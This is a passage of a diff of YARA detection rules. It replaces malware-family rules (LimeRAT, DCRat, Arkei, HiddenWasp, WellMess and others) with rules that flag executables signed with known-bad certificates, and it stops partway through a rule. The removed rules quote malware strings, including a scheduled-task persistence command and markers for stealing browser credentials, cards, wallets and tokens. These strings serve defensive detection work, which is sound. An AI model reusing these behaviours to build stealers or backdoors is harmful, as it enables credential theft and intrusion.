+rule DITEKSHEN_INDICATOR_KB_CERT_Becd4Ef55Ced54E5Bcde595D872Ae7Eb : FILE
 {
 	meta:
-		description = "LimeRAT payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "a4b85cad-97a8-514c-9380-f3e8ec95a44d"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "85835042-a4ab-5cb2-963d-4ef776b740d1"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L152-L168"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2965-L2976"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8ae35c5fa48773b93da0b76b238fc8dbaf19fdeb6fd81bf23842c5121d620116"
+		logic_hash = "b573853cfb28bdbda37c929834faa15475707684edfe99f14174599faf7b4fb6"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "schtasks /create /f /sc ONLOGON /RL HIGHEST /tn LimeRAT-Admin /tr" wide
-		$s2 = "\\vboxhook.dll" fullword wide
-		$s3 = "Win32_Processor.deviceid=\"CPU0\"" fullword wide
-		$s4 = "select CommandLine from Win32_Process where Name='{0}'" wide
-		$s5 = "Minning..." fullword wide
-		$s6 = "Regasm.exe" fullword wide
-		$s7 = "Flood!" fullword wide
-		$s8 = "Rans-Status" fullword wide
-		$s9 = "cmd.exe /c ping 0" wide
+		thumbprint = "72ae9b9a32b4c16b5a94e2b4587bc51a91b27052"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 5 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Dedbfdefcac" and pe.signatures[i].serial=="be:cd:4e:f5:5c:ed:54:e5:bc:de:59:5d:87:2a:e7:eb")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Arkei : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_55B5E1Cf84A89C4E023399784B42A268 : FILE
 {
 	meta:
-		description = "Detect Arkei infostealer variants"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "d32a27bf-abb9-553c-9913-d675c340a5c5"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "de2890d4-3758-5e90-a9af-dc519f0b9e4c"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L210-L226"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2978-L2989"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8a79bcc6ac94900c8a8913b2e81424bf900bbac416f44a91db6f208f23980155"
+		logic_hash = "37f08db5373cf46da7c0a4a03af21559fdcddb2481f935d5cece55a1fb4abc3c"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "C:\\Windows\\System32\\cmd.exe" fullword ascii wide
-		$s2 = "/c taskkill /im " fullword ascii
-		$s3 = "card_number_encrypted FROM credit_cards" ascii
-		$s4 = "\\wallet.dat" ascii
-		$s5 = "Arkei/" wide
-		$s6 = "files\\passwords." ascii wide
-		$s7 = "files\\cc_" ascii wide
-		$s8 = "files\\autofill_" ascii wide
-		$s9 = "files\\cookies_" ascii wide
+		thumbprint = "940345ed6266b67a768296ad49e51bbaa6ee8e97"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Fbbdefaccbbcdc" and pe.signatures[i].serial=="55:b5:e1:cf:84:a8:9c:4e:02:33:99:78:4b:42:a2:68")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Dcrat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_84C3A47B739F1835D35B755D1E6741B5 : FILE
 {
 	meta:
-		description = "DCRat payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "16c81fe0-2c18-55e9-aa17-cfd4213d6a17"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "00fba5a5-b87d-54f7-a5b8-f7b377af2202"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L228-L292"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2991-L3002"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5a02dcc2b9c7eb3efdba39047e37886240b45fb7e2db3b82aa5b4b9526dfb7f8"
+		logic_hash = "6beb0966f2ed981c2e1a859ff9f659a566de867888123c387eeb89a97620345e"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$dc1 = "DCRatBuild" ascii
-		$dc2 = "DCStlr" ascii
-		$x1 = "px\"><center>DCRat Keylogger" wide
-		$x2 = "DCRat-Log#" wide
-		$x3 = "DCRat.Code" wide
-		$string1 = "CaptureBrowsers" fullword ascii
-		$string2 = "DecryptBrowsers" fullword ascii
-		$string3 = "Browsers.IE10" ascii
-		$string4 = "Browsers.Chromium" ascii
-		$string5 = "WshShell" ascii
-		$string6 = "SysMngmts" fullword ascii
-		$string7 = "LoggerData" fullword ascii
-		$plugin = "DCRatPlugin" fullword ascii
-		$av1 = "AntiVM" ascii wide
-		$av2 = "vmware" fullword wide
-		$av3 = "VirtualBox" fullword wide
-		$av4 = "microsoft corporation" fullword wide
-		$av5 = "VIRTUAL" fullword wide
-		$av6 = "DetectVirtualMachine" fullword ascii
-		$av7 = "Select * from Win32_ComputerSystem" fullword wide
-		$pl1 = "dcratAPI" fullword ascii
-		$pl2 = "dsockapi" fullword ascii
-		$pl3 = "file_get_contents" fullword ascii
-		$pl4 = "classthis" fullword ascii
-		$pl5 = "typemdt" fullword ascii
-		$pl6 = "Plugin_AutoStealer" ascii wide
-		$pl7 = "Plugin_AutoKeylogger" ascii wide
-		$v1 = "Plugin couldn't process this action!" wide
-		$v2 = "Unknown command!" wide
-		$v3 = "PLUGINCONFIGS" wide
-		$v4 = "Saving log..." wide
-		$v5 = "~Work.log" wide
-		$v6 = "MicrophoneNum" fullword wide
-		$v7 = "WebcamNum" fullword wide
-		$v8 = "%SystemDrive% - Slow" wide
-		$v9 = "%UsersFolder% - Fast" wide
-		$v10 = "%AppData% - Very Fast" wide
-		$v11 = /<span style=\"color: #F85C50;\">\[(Up|Down|Enter|ESC|CTRL|Shift|Win|Tab|CAPSLOCK: (ON|OFF))\]<\/span>/ wide
-		$px1 = "[Browsers] Scanned elements: " wide
-		$px2 = "[Browsers] Grabbing cookies" wide
-		$px3 = "[Browsers] Grabbing passwords" wide
-		$px4 = "[Browsers] Grabbing forms" wide
-		$px5 = "[Browsers] Grabbing CC" wide
-		$px6 = "[Browsers] Grabbing history" wide
-		$px7 = "[StealerPlugin] Invoke: " wide
-		$px8 = "[Other] Grabbing steam" wide
-		$px9 = "[Other] Grabbing telegram" wide
-		$px10 = "[Other] Grabbing discord tokens" wide
-		$px11 = "[Other] Grabbing filezilla" wide
-		$px12 = "[Other] Screenshots:" wide
-		$px13 = "[Other] Clipboard" wide
-		$px14 = "[Other] Saving system information" wide
+		thumbprint = "8057f20f9f385858416ec3c0bd77394eff595b69"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($dc*) or all of ($string*) or 2 of ($x*) or 6 of ($v*) or 5 of ($px*)) or ($plugin and (4 of ($av*) or 5 of ($pl*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Bddbdcfabededdeadbefed" and pe.signatures[i].serial=="84:c3:a4:7b:73:9f:18:35:d3:5b:75:5d:1e:67:41:b5")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Firebirdrat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_28F6Ca1F249Cfb6Bdb16Bc57Aaf0Bd79 : FILE
 {
 	meta:
-		description = "Firebird/Hive RAT payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "456ae70e-8004-5fb0-a4fd-ce7c0f4704f9"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "b0568efe-d0cc-528d-a9b4-fdb8106c3d0f"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L316-L339"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3004-L3015"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1c24e924171db1b99a3b03764f4551b6f4b6b1c9c6147b49dbc0651e85e9040c"
+		logic_hash = "c27ad7caa87b366593b82ff5e2b38bda5383e178e2cc01121aaaa5e90beaec86"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.Firebird-HiveRAT"
-
-	strings:
-		$id1 = "Firebird Remote Administration Tool" fullword wide
-		$id2 = "Welcome to Firebird! Your system is currently being monitored" wide
-		$id3 = "Hive Remote Administration Tool" fullword wide
-		$id4 = "Welcome to Hive! Your system is currently being monitored" wide
-		$s1 = "REPLACETHESEKEYSTROKES" fullword wide
-		$s2 = "_ENABLE_PROFILING" fullword wide
-		$s3 = ": KeylogSubject" wide
-		$s4 = "Firebird.CommandHandler" fullword wide
-		$s5 = "webcamenabled" fullword ascii
-		$s6 = "screenlogs" fullword ascii
-		$s7 = "encryptedconnection" fullword ascii
-		$s8 = "monitoron" fullword ascii
-		$s9 = "screenGrab" fullword ascii
-		$s10 = "TCP_TABLE_OWNER_PID_ALL" fullword ascii
-		$s11 = "de4fuckyou" fullword ascii
+		thumbprint = "0811c227816282094d5212d3c9116593f70077ab"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (1 of ($id*) or 7 of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Cdcafaabbdcaaaeaaee" and pe.signatures[i].serial=="28:f6:ca:1f:24:9c:fb:6b:db:16:bc:57:aa:f0:bd:79")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Phoenix : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_2C3E87B9D430C2F0B14Fc1152E961F1A : FILE
 {
 	meta:
-		description = "Phoenix/404KeyLogger keylogger payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "62101881-9b5e-586d-8e1b-184787f25d6b"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "8e686e58-8fc5-50cf-9259-dcd70f5cc27b"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L341-L367"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3017-L3028"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b2c2a4ffc36d708a121853fb0268e6dc85b3fe2cd58e05c8124cbef18e03ec0b"
+		logic_hash = "43a8f2d9055091f930af456abd334e38fb6a98bee3bfb8dcbf84c9563c777101"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.Phoenix-Keylogger"
-
-	strings:
-		$s1 = "FirefoxPassReader" fullword ascii
-		$s2 = "StartKeylogger" fullword ascii
-		$s3 = "CRYPTPROTECT_" ascii
-		$s4 = "Chrome_Killer" fullword ascii
-		$s5 = "Clipboardlog.txt" fullword wide
-		$s6 = "Leyboardlogs.txt" fullword wide
-		$s7 = "Persistence'" wide
-		$s8 = "set_HKB" fullword ascii
-		$s9 = "loloa" fullword ascii
-		$s10 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)" fullword wide
-		$m1 = "- Screenshot -------|" ascii wide
-		$m2 = "- Clipboard -------|" ascii wide
-		$m3 = "- Logs -------|" ascii wide
-		$m4 = "- Passwords -------|" ascii wide
-		$m5 = "PSWD" ascii wide
-		$m6 = "Screenshot |" ascii wide
-		$m7 = "Logs |" ascii wide
+		thumbprint = "80daa4ad14fc420d7708f2855e6fab085ca71980"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d and 6 of ($s*) or 3 of ($m*)) or 9 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Abfaacccde" and pe.signatures[i].serial=="2c:3e:87:b9:d4:30:c2:f0:b1:4f:c1:15:2e:96:1f:1a")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Backnet : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_4808C88Ea243Eefa47610D5F5F0D02A2 : FILE
 {
 	meta:
-		description = "BackNet payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "c53ef72f-4957-5ddb-b096-dcdb69cf900d"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "ea3aadc6-3edd-5e4b-adfe-824103531deb"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L369-L386"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3030-L3041"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c276f2b809caad680455fc4ca0a021887d4ff2c9114f05737542a1d3c5cca848"
+		logic_hash = "9fa722bfed0c31e263772615799bbdc054da1424b139c7d73e5755334fb86346"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.BackNet"
-
-	strings:
-		$s1 = "Slave.Commands." fullword ascii
-		$s2 = "StartKeylogger" fullword ascii
-		$s3 = "StopKeylogger" fullword ascii
-		$s4 = "KeyLoggerCommand" fullword ascii
-		$s5 = "get_keyLoggerManager" fullword ascii
-		$s6 = "get_IgnoreMutex" fullword ascii
-		$s7 = "ListProcesses" fullword ascii
-		$s8 = "downloadurl" fullword wide
-		$pdb = "\\BackNet-master\\Slave\\obj\\Release\\Slave.pdb" ascii
+		thumbprint = "5dc400de1133be3ff17ff09f8a1fd224b3615e5a"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ($pdb or all of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Bfcdcdfcdfcaaeff" and pe.signatures[i].serial=="48:08:c8:8e:a2:43:ee:fa:47:61:0d:5f:5f:0d:02:a2")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Acridrain : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_2F184A6F054Dc9F7C74A63714B14Ce33 : FILE
 {
 	meta:
-		description = "AcidRain stealer payload"
+		description = "Detects executables signed AprelTech Silent Install Builder certificate"
 		author = "ditekSHen"
-		id = "9890c9e0-ce53-5f08-9077-c73a9e4ba29c"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "17797e5c-acf2-5c4e-b3e0-c48fb7bff996"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L388-L401"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3043-L3054"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "11884073f4bf466503b07f297ae7fad188f79df148fcc7ca48827c7dbd07e211"
+		logic_hash = "d14428b81b4ae4a77a517d2148f4b67b45963b71d998139b42ed4e4352fae6a5"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = { 43 6f 6f 6b 69 65 73 (5c|2e) }
-		$s2 = { 74 65 6d 70 6c 6f 67 69 ?? }
-		$s3 = { 74 65 6d 70 50 ?? 68 }
-		$s4 = "Connecting to hostname: %s%s%s" fullword ascii
-		$s5 = "Found bundle for host %s: %p [%s]" fullword ascii
-		$s6 = "encryptedUsernamencryptedPassworERROR Don't copy string" fullword ascii
+		thumbprint = "ec9c6a537f6d7a0e63a4eb6aeb0df9d5b466cc58"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "APREL Tehnologija d.o.o." and pe.signatures[i].serial=="2f:18:4a:6f:05:4d:c9:f7:c7:4a:63:71:4b:14:ce:33")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Linux_Chachaddos : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00Ced72Cc75Aa0Ebce09Dc0283076Ce9B1 : FILE
 {
 	meta:
-		description = "ChaChaDDoS variant of XorDDoS payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "78a5cf3a-0e84-59bd-a936-bd335647e3d0"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "7482c8a9-22d7-5ecf-951c-83818e2aeda7"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L403-L418"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3056-L3067"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2bf99771046650820f02a24d5bd825afeacd03d1e865b05d8563a3ef74d521fb"
+		logic_hash = "47fceb2a79271011bc6feed209ef4021db155dbc0fd4891f0dc1e900f2cb7fdb"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "[kworker/1:1]" ascii
-		$x2 = "-- LuaSocket toolkit." ascii
-		$x3 = "/etc/resolv.conf" ascii
-		$x4 = "\"macaddress=\" .. DEVICE_MAC .. \"&device=\" .." ascii
-		$x5 = "easy_attack_dns" ascii
-		$x6 = "easy_attack_udp" ascii
-		$x7 = "easy_attack_syn" ascii
-		$x8 = "syn_probe" ascii
+		thumbprint = "db77b48a7f16fecd49029b65f122fa0782b4318f"
+		importance = 20
 
 	condition:
-		uint16(0)==0x457f and 6 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Valerie LLC" and pe.signatures[i].serial=="00:ce:d7:2c:c7:5a:a0:eb:ce:09:dc:02:83:07:6c:e9:b1")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Multi_Exaramel : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_C4564802095258281A284809930Dcf43 : FILE
 {
 	meta:
-		description = "Exaramel Windows/Linux backdoor payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "014f10f3-4502-5719-93f6-4b2940f53876"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "f70f481c-f5cf-5767-9fb0-0adecd0dc1f3"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L420-L459"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3069-L3080"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e64383304bc913b07a2e63d61c81354b996c01171357005f4a28957d4d889599"
+		logic_hash = "547613d507b04e3bd944515c77cb6ec161fe008b8e2b43cda574a46cbe2ef5ef"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-		clamav_sig1 = "MALWARE_Linux.Backdoor.Exaramel"
-		clamav_sig2 = "MALWARE_Win.Backdoor.Exaramel"
-
-	strings:
-		$s1 = "vendor/golang_org/x/crypto/" ascii
-		$s2 = "vendor/golang_org/x/net/http2" ascii
-		$s3 = "vendor/golang_org/x/text/unicode" ascii
-		$s4 = "vendor/golang_org/x/text/transform" ascii
-		$s5 = "config.json" ascii
-		$cmd1 = "App.Update" ascii
-		$cmd2 = "App.Delete" ascii
-		$cmd3 = "App.SetProxy" ascii
-		$cmd4 = "App.SetServer" ascii
-		$cmd5 = "App.SetTimeout" ascii
-		$cmd6 = "IO.WriteFile" ascii
-		$cmd7 = "IO.ReadFile" ascii
-		$cmd8 = "OS.ShellExecute" ascii
-		$cmd9 = "awk 'match($0, /(upstart|systemd|sysvinit)/){ print substr($0, RSTART, RLENGTH);exit;" ascii
-		$ws1 = "/commands/@slp" wide
-		$ws2 = "/commands/cmd" wide
-		$ws3 = "/settings/proxy/@password" wide
-		$ws4 = "/settings/servers/server[@current='true']" wide
-		$ws5 = "/settings/servers/server/@current[text()='true']" wide
-		$ws6 = "/settings/servers/server[text()='%s']/@current" wide
-		$ws7 = "/settings/servers/server[%d]" wide
-		$ws8 = "/settings/storage" wide
-		$ws9 = "/settings/check" wide
-		$ws10 = "/settings/interval" wide
-		$ws11 = "report.txt" wide
-		$ws12 = "stg%02d.cab" ascii
-		$ws13 = "urlmon.dll" ascii
-		$ws14 = "ReportDir" ascii
+		thumbprint = "73db2555f20b171ce9502eb6507add9fa53a5bf3"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x457f and ( all of ($s*) and 6 of ($cmd*))) or ( uint16(0)==0x5a4d and 12 of ($ws*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Cfeaaeedaefddfaaccefcdbae" and pe.signatures[i].serial=="c4:56:48:02:09:52:58:28:1a:28:48:09:93:0d:cf:43")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Linux_Hiddenwasp : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_3D31Ed3B22867F425Db86Fb532Eb449F : FILE
 {
 	meta:
-		description = "HiddenWasp backdoor payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "220e5e6e-7c5c-5f70-b3eb-50d9c5ec636d"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "a9924b9e-381a-58b2-8839-fcafeb730a32"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L461-L486"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3082-L3093"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a2aad022de41ba2633fc92a7dc5a5fa2efde9da2211cfc01fb2999e33365d6c9"
+		logic_hash = "e3ec4fcd47867b688241dee693bcec98e633e179757ec8e7afd755c7d53a0cd7"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE"
-		clamav_sig1 = "MALWARE_Linux.Trojan.HiddenWasp-ELF"
-		clamav_sig2 = "MALWARE_Linux.Trojan.HiddenWasp-Script"
-
-	strings:
-		$x1 = "I_AM_HIDDEN" fullword ascii
-		$x2 = "HIDE_THIS_SHELL" fullword ascii
-		$x3 = "NewUploadFile" ascii
-		$x4 = "fake_processname" ascii
-		$x5 = "swapPayload" ascii
-		$x6 = /Trojan-(Platform|Machine|Hostname|OSersion)/ fullword ascii
-		$s1 = "FileOpration::GetFileData" fullword ascii
-		$s2 = "FileOpration::NewUploadFile" fullword ascii
-		$s3 = "Connection::writeBlock" fullword ascii
-		$s4 = /hiding_(hidefile|enable_logging|hideproc|makeroot)/ fullword ascii
-		$s5 = "Reverse-Port" fullword ascii
-		$s6 = "hidden_services" fullword ascii
-		$s7 = "check_config" fullword ascii
-		$s8 = "__data_start" fullword ascii
-		$s9 = /patch_(suger_lib|ld|lib)/ fullword ascii
-		$s10 = "hexdump -ve '1/1 \"%%.2X\"' %s | sed \"s/%s/%s/g\" | xxd -r -p > %s.tmp"
+		thumbprint = "1e708efa130d1e361afb76cc94ba22aca3553590"
+		importance = 20
 
 	condition:
-		uint16(0)==0x457f and (4 of ($x*) or all of ($s*) or (3 of ($x*) and 5 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Badfcbdbcdbfafcaeebad" and pe.signatures[i].serial=="3d:31:ed:3b:22:86:7f:42:5d:b8:6f:b5:32:eb:44:9f")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Multi_Wellmess : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_531549Ed4D2D53Fc7E1Beb47C6B13D58 : FILE
 {
 	meta:
-		description = "WellMess Windows/Linux backdoor payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "cfa0f077-9d45-5796-b888-66fb397e74f8"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "6aec64ae-cda3-57e8-94c6-07c1e07d34ad"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L488-L510"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3095-L3106"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9cbbca609fd289d7406d9073237688d250dc68c450676b9b755509540d8f76a5"
+		logic_hash = "554574657a913dbe0c576dbfcdd93a2494f2ffccf51eaabf06e5fafe2a895c3a"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig1 = "MALWARE_Win.Trojan.WellMess_DotNet"
-		clamav_sig2 = "MALWARE_Win.Trojan.WellMess_Golang"
-		clamav_sig3 = "MALWARE_Linux.Trojan.WellMess_Golang"
-
-	strings:
-		$s1 = "-----BEGIN PUBLIC KEY-----" ascii
-		$s2 = "-----END PUBLIC KEY-----" ascii
-		$s3 = "net/http.(*persistConn).readResponse" ascii
-		$s4 = "net/http/cookiejar.(*Jar).SetCookies" ascii
-		$s5 = "_/home/ubuntu/GoProject/src/bot/botlib" ascii
-		$s6 = "<;head;><;title;>" ascii
-		$s7 = "<;title;><;service;>" ascii
-		$s8 = "http://invalidlookup" ascii
-		$s9 = "<autogenerated>" ascii wide
+		thumbprint = "a8e1f6e32e5342265dd3e28cc65060fb7221c529"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x457f or uint16(0)==0x5a4d) and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Bdabfbdfbcbab" and pe.signatures[i].serial=="53:15:49:ed:4d:2d:53:fc:7e:1b:eb:47:c6:b1:3d:58")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Konni : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_8035Ed9C58Ea895505B05Ff926D486Bc : FILE
 {
 	meta:
-		description = "Konni payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "86eae9f6-60b0-5720-8528-ddbe32b6d4a6"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "35b5d9a1-eaa8-53d8-9917-9a688fb95a04"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L512-L530"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3108-L3119"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
